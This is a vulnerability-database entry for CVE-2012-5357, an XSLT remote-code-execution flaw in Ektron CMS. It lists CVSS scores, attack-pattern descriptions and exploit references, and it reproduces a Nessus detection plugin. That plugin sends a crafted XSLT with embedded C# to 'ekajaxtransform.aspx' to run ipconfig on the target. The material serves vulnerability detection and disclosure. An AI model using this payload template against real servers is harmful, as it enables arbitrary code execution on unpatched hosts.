Vulnerabilities > CVE-2012-5357 - Data Processing Errors vulnerability in Ektron Content Management System

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
ektron
CWE-19
nessus
exploit available
metasploit

Summary

Ektron Content Management System (CMS) before 8.02 SP5 uses the XslCompiledTransform class with enablescript set to true, which allows remote attackers to execute arbitrary code with NETWORK SERVICE privileges via crafted XSL data.

Vulnerable Configurations

Part Description Count
Application
Ektron
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • XML Nested Payloads
    Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an attacker can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An attacker's goal is to leverage parser failure to his or her advantage. In most cases this type of an attack will result in a denial of service due to an application becoming unstable, freezing, or crash. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.230.1].
  • XML Oversized Payloads
    Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the XML parser, an attacker can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An attacker's goal is to leverage parser failure to his or her advantage. In many cases this type of an attack will result in a denial of service due to an application becoming unstable, freezing, or crash. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.231.1].
  • XML Client-Side Attack
    Client applications such as web browsers that process HTML data often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. These adverse effects may include the parser crashing, consuming too much of a resource, executing too slowly, executing code supplied by an attacker, allowing usage of unintended system functionality, etc. An attacker's goal is to leverage parser failure to his or her advantage. In some cases it may be possible to jump from the data plane to the control plane via bad data being passed to an XML parser. [R.484.1]
  • XML Parser Attack
    Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. These adverse effects may include the parser crashing, consuming too much of a resource, executing too slowly, executing code supplied by an attacker, allowing usage of unintended system functionality, etc. An attacker's goal is to leverage parser failure to his or her advantage. In some cases it may be possible to jump from the data plane to the control plane via bad data being passed to an XML parser. [R.99.1]

Exploit-Db

descriptionEktron 8.02 XSLT Transform Remote Code Execution. CVE-2012-5357. Remote exploit for windows platform
idEDB-ID:23155
last seen2016-02-02
modified2012-12-05
published2012-12-05
reportermetasploit
sourcehttps://www.exploit-db.com/download/23155/
titleEktron 8.02 XSLT Transform Remote Code Execution

Metasploit

descriptionThis module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The vulnerability exists due to the insecure usage of XslCompiledTransform, using a XSLT controlled by the user. The module has been tested successfully on Ektron CMS 8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK SERVICE privileges.
idMSF:EXPLOIT/WINDOWS/HTTP/EKTRON_XSLT_EXEC
last seen2020-05-11
modified2017-07-24
published2012-12-03
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/ektron_xslt_exec.rb
titleEktron 8.02 XSLT Transform Remote Code Execution

Nessus

NASL familyCGI abuses
NASL idEKTRON_CMS400_TRANSFORMXSLT_CODE_EXEC.NASL
descriptionThe version of Ektron CMS hosted on the remote web server is affected by a remote code execution vulnerability. The vulnerability arises because the
last seen2020-06-01
modified2020-06-02
plugin id63245
published2012-12-12
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/63245
titleEktron CMS XslCompiledTransform Class Request Parsing Remote Code Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63245);
  script_version("1.11");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-5357");
  script_bugtraq_id(56816);
  script_xref(name:"MSVR", value:"MSVR12-016");

  script_name(english:"Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution");
  script_summary(english:"Tries to execute code on the remote host");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Ektron CMS hosted on the remote web server is affected
by a remote code execution vulnerability.  The vulnerability arises
because the 'ekajaxtransform.aspx' script utilizes the .NET
'XslCompiledTransform' class with 'enablescript' set to true. 

Nessus was able to execute this vulnerability via a specially crafted
POST request to run arbitrary C# code on the remote host.

Note that the version of Ektron installed on the remote host likely
has other vulnerabilities that Nessus has not tested for.");
  # https://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0cbc8f4d");
  # https://docs.microsoft.com/en-us/security-updates/VulnerabilityResearchAdvisories/2012/msvr12-016
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14d036a5");
  # https://webhelp.episerver.com/Ektron/documentation/documentation/wwwroot/current/ReleaseNotes/ReleaseNotes_WebHelp.htm#Release8/8.02SP5.htm
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c6891b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5357");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Ektron 8.02 XSLT Transform Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ektron:cms4000.net");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ektron_cms400_detect.nasl");
  script_require_keys("www/cms400", "www/ASP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

function encapsulate_xslt_payload(code_payload)
{
  return
  '<?xml version=\'1.0\'?>\n' +
  '<xsl:stylesheet version="1.0"\n' +
  'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"\n' +
  'xmlns:msxsl="urn:schemas-microsoft-com:xslt"\n' +
  'xmlns:user="http://example.com/mynamespace">\n' +
  '<msxsl:script language="C#" implements-prefix="user">\n' +
  '<![CDATA[\n' +
  'public string xml()\n' +
  '{\n' +
  code_payload +
  '}\n' +
  ']]>\n' +
  '</msxsl:script>\n' +
  '<xsl:template match="/">\n' +
  '<xsl:value-of select="user:xml()"/>\n' +
  '</xsl:template>\n' +
  '</xsl:stylesheet>';
}

port = get_http_port(default:80, asp:TRUE);

install = get_install_from_kb(appname:'cms400', port:port, exit_on_fail:TRUE);
dir = install['dir'];

appname = "Ektron CMS400.NET";
report = '';

test_return_code = SCRIPT_NAME + rand();

# First test payload - more interesting but may not work in every environment
code_payload1 = 
'System.Diagnostics.Process p = new System.Diagnostics.Process();\n' + 
'p.StartInfo.UseShellExecute = false;\n' +
'p.StartInfo.RedirectStandardOutput = true;\n' +
'p.StartInfo.FileName = "ipconfig.exe";\n' +
'p.Start();\n' +
'p.WaitForExit();\n' +
'string output = p.StandardOutput.ReadToEnd();\n' +
'return output;';

# Second test payload - should work even in a restrictive environment
code_payload2 =
'return "' + test_return_code + '";\n';

postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload1));

res = http_send_recv3(method: "POST", 
                      item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                      port: port,
                      add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                              "Referer", build_url(qs:'', port:port)), # Required
                      data: postdata, 
                      exit_on_fail: TRUE);

if ("Windows IP Configuration" >< res[2])
{
  vuln_request = http_last_sent_request();
  vuln_response = chomp(res[2]); 

  report = '\nNessus was able to exploit the vulnerability to run the \'ipconfig\'' +
           '\ncommand with the following request : ';

  report += '\n\n' + 
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            vuln_request + '\n' +
            crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';

  if (report_verbosity > 1)
    report += '\nResponse : ' + '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_response + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
}
else
{
  # try backup payload 
  postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload2));
  res = http_send_recv3(method: "POST", 
                        item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                        port: port,
                        add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                                "Referer", build_url(qs:'', port:port)), # Required
                        data: postdata, 
                        exit_on_fail: TRUE);

  if("200" >< res[0] && test_return_code == chomp(res[2])) 
  {
    vuln_request = http_last_sent_request();
    vuln_response = chomp(res[2]);
  
    report = '\nNessus was able to verify the vulnerability exists with the following' +
             '\nrequest : ';

    report += '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_request + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
  }
}

if (report != '')
{
  if (report_verbosity > 0) security_hole(port:port,extra:report);
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/118621/ektron_xslt_exec.rb.txt
idPACKETSTORM:118621
last seen2016-12-05
published2012-12-05
reporterunknown
sourcehttps://packetstormsecurity.com/files/118621/Ektron-8.02-XSLT-Transform-Remote-Code-Execution.html
titleEktron 8.02 XSLT Transform Remote Code Execution

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:76931
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-76931
titleEktron 8.02 XSLT Transform Remote Code Execution